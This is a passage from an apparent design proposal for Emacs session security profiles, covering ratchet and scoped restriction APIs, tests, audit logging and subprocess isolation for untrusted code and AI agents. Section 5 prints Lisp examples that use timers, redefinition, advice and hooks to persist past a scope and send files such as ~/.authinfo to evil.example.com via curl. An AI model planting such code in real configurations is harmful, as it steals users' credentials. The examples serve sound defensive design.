Toolkit-internal I/O (fontconfig caches, WebKit network activity, D-Bus IPC, display-server connections) is performed by linked native libraries and cannot be controlled from inside Emacs. Controlling it requires an OS-level process sandbox. The proposal's guarantee covers only operations mediated through Emacs primitives and must be documented accordingly.
Estimated size: ~20–40 lines of gating additions.
3.9 Lisp Layer
New file lisp/security.el provides two layers of API.
Ratchet API. Permanent, session-wide tightening. Use for restrictions that should apply for the rest of the session.
restrict-execute &rest PROGRAMS— permanently constrains subprocess creation. Called with no arguments, disables all subprocess creation. Called with one or more program names, restricts subprocess creation to exactly those programs under the matching rules in 3.4 Process Execution Enforcement. Subsequent calls can only narrow the set further: passing names that are not already permitted is an error, and passing no arguments after an allowlist has been set disables execution entirely.By default,
restrict-executesignals an error if any entry inPROGRAMSresolves to a known command shell. The rejected names are matched as basenames, after platform-appropriate normalization (stripping any.exesuffix and applying case-insensitive comparison on macOS and Windows), against a fixed list of common shells:sh,bash,dash,zsh,ksh,fish,busybox,cmd,powershell, andpwsh. Absolute-path entries are rejected if their basename matches under the same rules. The intent is to prevent the most common foot-gun, in which a user adds"sh"or"bash"to the allowlist to makeshell-commandwork and thereby re-grants arbitrary subprocess authority through the shell.An explicit
:allow-shell tkeyword argument disables this check and permits a shell to be added to the allowlist. This is intended for workflows that genuinely needshell-commandand have accepted the consequence that the resulting profile no longer meaningfully constrains what subprocesses Emacs may launch. The keyword must be passed at everyrestrict-executecall that lists a shell; it is not sticky across calls.restrict-network— permanently disables network and socket creation.restrict-read-folders DIR...— permanently limits additional read-only roots to the given directories. It does not remove read access implied by:write-folders. Passing no roots leaves no read-only roots. Subsequent calls can only narrow the set further.restrict-write-folders DIR...— permanently limits filesystem mutation to the given directory roots. Passing no roots is equivalent to denying all filesystem mutation. Subsequent calls can only narrow the set further.restrict-to PROFILE— apply an entire target profile atomically. Takes a plist of the form(:read-folders ... :write-folders ... :execute ... :network ...), validates it against the current profile (each entry must be a tightening, never a widening), and applies all four restrictions in one call. This is the recommended form for non-trivial profiles, since it makes the target shape visible at the call site and matches the structure of the named profiles in 2.5 Suggested Named Profiles.- Named convenience profiles:
passive-org,project-edit,project-agent,project-build,pkg-review. security-tool-groups— user-customizable alist mapping keyword tags to lists of program names, used to resolve symbolic:executeentries. See 2.7 Named Tool Groups for the semantics. The default value is defined inlisp/security.eland may be modified ininit.elat any point before the profile that depends on it is activated.security-resolve-execute LIST— utility function that takes a mixed list of keywords and program names and returns the flattened, deduplicated, sorted concrete list of program names that would be installed ifLISTwere the:executeentry of an activated profile. Signals asecurity-unknown-tool-grouperror on unknown keywords and asecurity-tool-group-cycleerror on cyclic group references. Useful for previewing a recommendation before approval.
Scoped-profile API. Reversible, operation-scoped restriction. Use for constraining a tool or operation that is mostly trusted but should not have ambient authority. This API defends a weaker threat model than the ratchet (see 5. Two Threat Models: Ratchet and Scoped Profile).
with-security-profile PROFILE &rest BODY— evaluateBODYwith the current profile temporarily tightened byPROFILE. On exit (normal or non-local), the previous profile is restored.PROFILEtakes the same plist form asrestrict-toand must be a tightening of the currently active profile.This construct defends against direct calls to restricted primitives made from within
BODY. It does not defend against persistent machinery (timers, advice, hooks, function redefinitions) installed duringBODYthat fires after the scope exits. Code that installs such machinery and relies on it firing later in the unrestricted context is outside the guarantee of the scoped form. The construct's docstring, the variable that names the active scoped profile, and a one-line message emitted the first time the construct is used in a session must surface this limit prominently.Inside
BODY, the ratchet API is still available and behaves normally: callingrestrict-Xinside awith-security-profiletightens the profile permanently for the rest of the session. The scope-exit restoration only restores the part of the profile that the scoped form itself tightened; any tightening performed by the ratchet API inside the body persists.
New file test/lisp/security-tests.el provides ERT tests covering:
- Each capability directly.
- High-level Lisp functions reaching the primitive checks.
:executein all three modes:t,nil, and the list form (basename matching, absolute-path matching, platform case semantics, denial of unlisted programs, denial of shell wrappers when the shell is not listed).restrict-executerejects shell names by default (sh,bash,cmd,powershell, etc., including absolute-path forms and the.exevariants on Windows) and accepts them only when:allow-shell tis passed.- Separation between read-only roots and read-write roots, including that
:write-foldersimplies read access. - Symlink escape attempts.
- Metadata oracle behaviour (denied
file-exists-psignals, not returns nil). - TRAMP path denial.
- Monotonicity: a second tightening call cannot widen a previous read or write
root restriction, and cannot add programs to a previously set
:executeallowlist. restrict-toatomic application: a profile is rejected if any entry would widen the current profile, and all four restrictions are applied together when the profile is accepted.with-security-profile: scope-exit restoration covers all four capabilities, restores correctly on non-local exit, rejects profiles that would widen the currently active profile, and composes correctly with ratchet calls performed inside the body (a ratchet tightening inside the body persists after scope exit; a scoped tightening does not).with-security-profiledocumented non-guarantee: a timer scheduled inside the scope and fired afterward is not blocked by the scoped restriction (the test asserts this explicitly to encode the threat model).security-tool-groupsresolution: keywords resolve to the list of program names recorded under that key, nested keyword references are flattened recursively, the result is deduplicated and sorted, unknown keywords signalsecurity-unknown-tool-group, and cyclic group references signalsecurity-tool-group-cycle.security-tool-groupssnapshot invariant: an activated profile's:executelist is the resolved concrete list at activation time; later mutation ofsecurity-tool-groupsdoes not affect the active profile, and does not affect entries already recorded insecurity-profiles.eld.
Estimated size: ~400–600 lines of Lisp.
3.10 Summary and Complexity Estimate
| Area | Primary files | Points | New lines (est.) | Complexity |
|---|---|---|---|---|
| Profile infrastructure | New security.c/h, lisp.h |
— | 500–750 | Medium |
| File read / metadata | fileio.c, dired.c, lread.c |
13 | 100–130 | Medium |
| File write / mutation | fileio.c |
10 | 80–100 | Medium |
| Process execution | callproc.c, process.c, w32fns.c |
3 + 1 | 30–50 | Low–Medium |
| Network | process.c, xwidget.c |
2 | 15–25 | Low |
| Path normalization | fileio.c (new helper) |
~20 | 120–220 | Medium |
| TRAMP detection | fileio.c, dired.c, lread.c |
~20 | 30–60 | Low |
| Toolkit / GUI gates | w32fns.c, xwidget.c |
2–4 | 20–40 | Low |
| Lisp API + tests | lisp/security.el, test/ |
— | 500–750 | Medium |
| Total | ~8–12 files | ~28 | 1530–2275 | Medium–High |
Under the exposed-root interpretation of :read-folders and
:write-folders, path matching remains an important implementation concern,
but it is no longer the dominant source of complexity. The dual-API design
(ratchet floor plus scoped overlay) adds 200–300 lines over a ratchet-only
implementation, split roughly evenly between the C overlay machinery and the
Lisp ~with-security-profile macro plus its tests.
3.11 Introspection, Diagnostics, and Auditability
Some concerns raised by this proposal are not objections to the security model itself, but implementation requirements for making the model usable and debugeable in practice.
At minimum, the implementation should provide:
- a way to inspect the current effective security profile,
- clear
security-deniederrors that identify the denied capability and the relevant operation, - enough context to determine which restriction caused the denial,
- Lisp-level APIs suitable for package authors and users to understand the active session constraints.
It should also be possible to understand how the ratchet reached its current state. Because restrictions are permanent for the lifetime of the session, the system should record tightening events in a form that can be inspected for debugging. This need not imply a complicated provenance system in v1, but the feature should not be a black box.
Concretely, the implementation should:
- Emit a one-line message to
*Messages*at every ratchet tightening, naming exactly what just became impossible and stating that the change is permanent for the session. For example:"Subprocess creation now restricted to: cargo, rustfmt, git. This cannot be undone in this session."This makes the irreversibility visible at the moment it happens, which is when the user is best positioned to notice a mistake. - Maintain a dedicated
*Security Log*buffer recording each ratchet tightening with a timestamp, the call site (file and line where available), and the resulting effective profile. A single buffer is enough; the volume is low (a typical restricted session has at most a handful of tightening calls) and a buffer is the natural Emacs place to look. - Provide
M-x describe-security-profilethat displays the current effective profile in a human-readable form, including both the ratchet floor and any activewith-security-profileoverlay. - Make
security-deniederrors include the denied capability, the operation that was attempted, the relevant path or program name, and a backtrace pointer. The error message should be self-contained enough that a user who has never seen it before can identify which restriction caused the denial and where the denied call originated.
An audit-oriented mode may also be useful. In such a mode, operations that would be denied under enforcement could be logged with the same diagnostic structure, allowing users and package authors to observe the impact of a profile before adopting hard failure semantics. Audit mode should be the default for at least the first several releases of the feature, so that ecosystem code has a feedback channel before hard failures begin breaking package installations and ordinary workflows.
These requirements are especially important because the proposal intentionally
changes the behaviour of familiar predicates such as file-exists-p for
out-of-scope paths. Good diagnostics are therefore part of making the model
operational, not part of its core security argument.
3.12 Key Risk Areas
- Path normalization and matching must be correct across Linux, macOS, and Windows. Even without promising full symlink-safe containment, the implementation still needs stable matching semantics for case folding, drive letters, UNC paths, and related platform-specific path forms.
- Metadata oracle: changing
file-exists-pfrom returningnilto signalling an error for out-of-scope paths will break code that uses these predicates defensively. This is a deliberate and necessary design choice that must be clearly communicated to package authors. - TRAMP interaction: the security check must be placed before
Ffind_file_name_handlerdispatch in each primitive, without interfering with legitimate handler calls in unrestricted sessions. - Ecosystem impact of permanent restrictions: unlike a dynamic scope that can be exited, a ratchet tightening affects all subsequent code in the session. The API must make permanence explicit and conspicuous.
4. Critiques and Open Design Questions
This section records substantive critiques of the current proposal. Some of them may motivate design changes; others may remain accepted trade-offs. They are listed here so the proposal can be discussed against explicit objections rather than implicit discomfort.
4.1 Operational Cost of the Ratchet Remains, Even if Reduced
Earlier drafts of this proposal made the ratchet the only available construct, which made interactive mixed-trust work prohibitively awkward. The dual API — ratchet for adversarial threat models, scoped profile for incidental ones (see 5. Two Threat Models: Ratchet and Scoped Profile) — removes most of that operational cost.
A residual cost remains. The ratchet is still permanent, and users who need its stronger guarantees still have to accept that the affected session cannot return to unrestricted authority. The project profile mechanism (see 2.6 Project Profile Recommendations and User-Level Approval) and subprocess isolation (see 6. Subprocess Isolation) reduce how often that constraint binds, but they do not eliminate it. This is an honest trade-off: the strong guarantees of the ratchet have a cost, and the document should not pretend otherwise.
4.2 Mixed-Trust Workflows: What the Three Constructs Cover
| Workflow | Recommended construct |
|---|---|
| Whole session dedicated to constrained work | Ratchet (restrict-to / restrict-*) |
| One operation in an otherwise unrestricted session, | with-security-profile |
| incidental threat model | |
| One operation, adversarial threat model | with-restricted-emacs (subprocess isolation) |
| Interactive editing of parent buffers under adversarial | Not supported. Would require pervasive |
| threat model | provenance tracking in the parent Lisp |
| environment. |
The last row is the remaining unsolved case — an AI agent editing files
visible in the user's main session while being defended against
timer/advice/hook attacks would require the write-barrier work rejected in
5.5 What Each Construct Guarantees. Users needing that combination
must accept one of the available compromises: trust the agent
(with-security-profile), accept the subprocess boundary
(with-restricted-emacs), or dedicate the session (the ratchet).
4.3 Strict Allowlists Depend on a Parallel Shell-Migration Effort
The strictest practical use of this proposal — running an ordinary editing
session with :execute set to a small allowlist of tools and no shell —
exposes a friction that is not, strictly, a problem with the security
model: a significant amount of Emacs functionality is implemented in terms
of shell command strings rather than direct subprocess invocation. Under
the §3.4 shell-rejection rule, M-x compile, M-x shell-command,
M-!, grep-find (via xargs), and a long tail of package code that
builds command lines as strings become unavailable.
This is the correct behaviour given the model: the shell is the foot-gun, and rejecting it is what makes the allowlist meaningful. But it leaves the strict-allowlist configuration meaningfully less usable than the unrestricted default, and the gap will only close as the surrounding ecosystem migrates away from shell strings.
This proposal does not undertake that migration, which is a separate and larger Emacs-core effort. It is named here for two reasons: to be honest about a real cost of the strict configuration, and to identify a concrete direction that makes strict allowlists progressively more livable as that work proceeds. Two parallel changes are particularly relevant:
4.3.1 Migrating *-command Variables to Argument-List Form
Many user-customizable *-command variables (compile-command,
grep-command, grep-find-command, diff-command, the various
vc-*-program variables) are documented as shell strings and consumed
through shell-command or compilation-start. A backward-compatible
migration would accept either a string (current behaviour, routed through
the shell) or a list of the form (PROGRAM ARG ...) (routed directly
through call-process or make-process). Users who want safety set the
list form; users who do not notice nothing.
This is largely mechanical work: the customization type changes from
string to (choice string (repeat string)), and each consumer dispatches
on the type. The non-trivial cases are those where the string form
embedded shell features (pipes, redirections, parameter expansion); these
are addressed individually below.
4.3.2 Rewriting grep to Eliminate the xargs Pipeline
The current grep-find implementation in lisp/progmodes/grep.el builds
a shell pipeline of the form find ... | xargs grep ... (or, with
grep-find-use-xargs set to exec, find -exec grep {} +). The shell
pipeline is historical: it exists because the original shell-level idiom
spawned one grep per file unless batched through xargs or an
exec ... + form. Inside Emacs the pipeline serves no purpose. Emacs
already collects find's output, can chunk filename lists itself, and
funnels all matching output into a single *grep* buffer through the
compilation-mode filter machinery regardless of how many grep
invocations produced it.
A direct rewrite spawns find via make-process, reads its
null-separated stdout into Emacs, and dispatches batched grep
invocations on the resulting filename lists — each batch sized to stay
well under platform ARG_MAX. The output of each grep is filtered
into the *grep* buffer using the standard compilation filter. For
interactive responsiveness the rewrite should stream: dispatch the first
grep batch as soon as a chunk of filenames has been collected, with
subsequent batches following as more arrive. The user experience is
identical to the current implementation; the rewrite no longer requires
xargs, requires no shell, handles filenames with embedded spaces or
newlines without escaping ceremony, and works on bare Windows without an
msys-style POSIX environment.
The estimated effort is moderate — tens to low hundreds of lines in
lisp/progmodes/grep.el — and the result is independently valuable:
correct filename handling on every platform, Windows portability without
an external POSIX environment, and a working M-x grep / M-x rgrep
under a strict :execute allowlist containing only find and grep.
4.3.3 Scope
Neither change is part of this proposal. Users running the proposal today can maintain local patches; upstream migration proceeds on its own timeline.
5. Two Threat Models: Ratchet and Scoped Profile
The natural first design for a dynamic security facility is a scoped
construct, with-security-profile, that restricts the body's execution
and restores the previous profile on exit. An earlier version of this
document concluded that the scoped construct was fundamentally flawed and
should not be provided. That conclusion was too strong: the scoped
construct and the monotone ratchet defend different threat models, and
both should be available.
| Construct | Defends against | Cost |
|---|---|---|
with-security-profile |
Direct calls to restricted primitives from non-adversarial code | Scoped, reversible, no session-wide change |
Ratchet (restrict-*) |
Adversarial Lisp execution including persistent side effects | Permanent for the session |
The four subsections that follow exhibit the attack class the scoped construct does not defend against — persistent machinery installed inside the scope and fired later in the unrestricted context. The subsections are necessary as documentation of the scoped form's limits, not as an argument against it: most uses motivated by 1.2 What This Proposal Addresses (an Org babel block that phones home, an AI agent that writes outside the project, a package under review) are not the adversary this attack class describes. §5.5 closes by stating what each construct positively guarantees.
5.1 Timers
Timers (run-with-timer, run-at-time) are dispatched from C in
keyboard.c:timer_check_2 (line 4760), after the
with-security-profile dynamic binding has been unwound:
(with-security-profile 'project-readonly
(run-with-timer 0.1 nil
(lambda ()
(write-region "exfil" nil "~/.ssh/authorized_keys"))))
;; Scope exits; profile is restored.
;; 100 ms later the timer fires unrestricted and the write succeeds.
Process filters and sentinels (dispatched from src/process.c) have the
same property. Capturing the active profile in the timer vector and
restoring it before the handler runs would fix this, but requires
changing the timer vector format in lisp/timer.el and the dispatch
sites in keyboard.c and src/process.c. The scoped form does not
attempt this; the ratchet does not need it.
5.2 Function Redefinition
defun, fset, defalias, and cl-defmethod mutate global function
bindings. Mutation made inside the scope persists after exit:
(with-security-profile 'project-readonly
(defun write-region (start end filename &rest args)
(shell-command
(concat "curl --data-binary @" filename " https://evil.example.com"))
(apply #'orig-write-region start end filename args)))
;; Every subsequent write-region call now exfiltrates.
Under the ratchet, the malicious replacement still installs, but the
inner shell-command hits the permanent :execute check and is denied.
5.3 Advice
advice-add attaches persistent wrappers that survive the scope exit and
are harder to notice than an outright redefinition:
(with-security-profile 'project-readonly
(advice-add 'find-file :before
(lambda (filename &rest _)
(shell-command
(concat "curl -d " (shell-quote-argument filename)
" https://evil.example.com")))))
;; Every subsequent find-file call exfiltrates the filename.
find-file itself is not redefined; the wrapper runs whenever
find-file is called, in an unrestricted context.
5.4 Hook Modifications
add-hook adds functions that fire repeatedly throughout the session:
(with-security-profile 'project-readonly
(add-hook 'after-save-hook
(lambda ()
(shell-command
"curl --data-binary @~/.authinfo https://evil.example.com"))))
;; Every subsequent file save exfiltrates ~/.authinfo.
5.5 What Each Construct Guarantees
The four examples share a structure: code in the scope installs persistent machinery (a timer, a redefinition, advice, a hook); the scope exits; the machinery fires later, unrestricted, and the denied operation succeeds. The root cause is that Emacs Lisp state is global and mutable: a dynamic scope can restrict what code does during execution, but cannot undo side effects left behind. Defending against this within the scoped model would require either snapshotting all global Lisp state on entry (infeasible) or a comprehensive write-barrier on every form of Lisp mutation (very invasive). Neither is practical.
This is the boundary of what with-security-profile defends. The
positive statements are:
with-security-profileguarantees that direct calls to restricted primitives made by code executing in the body — including code in functions the body calls, packages it loads, and ordinary Lisp it evaluates — are denied at the C check. This covers the §1.2 cases: Org babel blocks, AI agents in known workflows, packages under review, one-off analysis passes. It does not cover code that installs persistent machinery during the body for later firing. The implementation surfaces this limit per 3.11 Introspection, Diagnostics, and Auditability.- The ratchet guarantees that restricted operations are denied for the rest of the session regardless of the path: original code, redefined functions, advice wrappers, hooks, and timers registered before the ratchet was tightened all hit the same C check and are denied. This is the right tool when the code being run is actively distrusted.
Mixed-trust workflows that need both — discrete restricted operations inside a long-lived interactive session — combine the scoped form for non-adversarial operations with 6. Subprocess Isolation for operations requiring the stronger guarantee.
6. Subprocess Isolation
Note: this is still under consideration and probably low priority.
For workflows that need the ratchet's full guarantee but cannot accept a session-wide ratchet, the model offers a third option: run the restricted work in a separate Emacs process ratcheted from the start. The §5 side-effect channels do not span the process boundary — a timer scheduled in the child fires in the child and is denied there; advice installed in the child does not affect the parent — so the child enjoys the full ratchet guarantee while the parent remains unrestricted.
6.1 The with-restricted-emacs Macro
The core construct is:
(with-restricted-emacs PROFILE BODY...)
where PROFILE is the same plist form accepted by restrict-to and
with-security-profile. Evaluation proceeds as follows:
- A child Emacs process is started. By default this is
emacs --batchwith the parent'sQflag (no init file); a configuration option can override this to use a dedicated long-livedemacsclientserver. - The child applies
PROFILEvia the ratchet API as its first action, before evaluating any user-supplied code. BODYis sent to the child for evaluation over a stdio or socket IPC channel, marshaled as Lisp s-expressions. The body executes in the ratcheted child.- The result is marshaled back to the parent and returned as the value of
with-restricted-emacs.
If the body signals an error in the child, the error is re-raised in the
parent with a wrapping condition that identifies it as having originated in
a restricted child. If the child crashes or fails to start, the parent
signals restricted-emacs-failed.
6.2 What Crosses the Boundary
The IPC protocol carries:
- The body forms, as Lisp data.
- A small set of allowed values in the body's lexical environment, passed by value at child startup time and read-only inside the child.
- The body's return value, as Lisp data.
The protocol does not carry:
- The parent's full Lisp state: variables, hooks, advice, loaded packages.
- Open buffer contents, unless explicitly passed as values.
- File handles, network connections, or other live resources.
This narrow boundary is the point. The child is a fresh Emacs that knows only what it is told. Code in the body cannot reach into the parent's buffers, install hooks in the parent, or learn anything about the parent's configuration beyond what was passed explicitly.
6.3 Worked Example: an AI Agent Operating on Project Files
An agent that should edit project files, run tests, and return a summary of its changes:
(with-restricted-emacs
'(:write-folders ("/home/user/src/project/")
:execute ("cargo" "rustfmt" "git")
:network nil)
(agent-edit-files '("src/foo.rs" "src/bar.rs")
:goal "fix the failing tests in module foo")
(agent-summary))
The parent's session is unaffected. The child cannot read ~/.authinfo,
cannot open network connections, and cannot launch any subprocess other
than cargo, rustfmt, or git. Any timer, advice, or hook installed by
the agent fires in the child and is denied there. When the body returns,
the child exits (or, with a persistent emacsclient server, returns to
idle); the parent receives the summary and continues unrestricted.
6.4 Limits of the Pattern
Subprocess isolation fits batch-like restricted work: bounded input, bounded duration, returnable result. It is a poor fit for interactive restricted work, since exposing the parent's buffers and UI to the child would re-introduce the authority the isolation is meant to remove. The combination "interactive editing of parent buffers under the full §5 threat class" is therefore unsupported (see also 4.2 Mixed-Trust Workflows: What the Three Constructs Cover).
6.5 Implementation Notes
The IPC layer should reuse existing Emacs machinery where possible:
start-processwith stdio for short-livedemacs --batchchildren.make-network-processto a Unix-domain socket for long-livedemacsclientservers.- The existing
print/readpair for marshaling, with a small wrapper that rejects unreadable values (buffers, markers, processes, frames) rather than serializing them.
The child startup cost (typically 50–200 ms for emacs --batch without an
init file, 10 ms for an already-running ~emacsclient server) is the main
operational cost. For workflows that invoke with-restricted-emacs
repeatedly with the same profile, a persistent server should be the
default; for one-off restricted operations, a fresh --batch child is
acceptable.
The child must apply PROFILE before evaluating any user-supplied code,
including any code in the body's lexical environment. The launch sequence
is therefore: start child, apply profile via the ratchet API, then evaluate
body. The child's own init file must not run (-Q flag), since an
init file could install machinery that fires before the ratchet is
applied.
Estimated implementation size: 300–500 lines split between a new
~lisp/restricted-emacs.el (the macro, the IPC marshaling, the server
management) and src/security.c (a small --security-profile command-line
flag that applies a ratchet from a plist at startup).
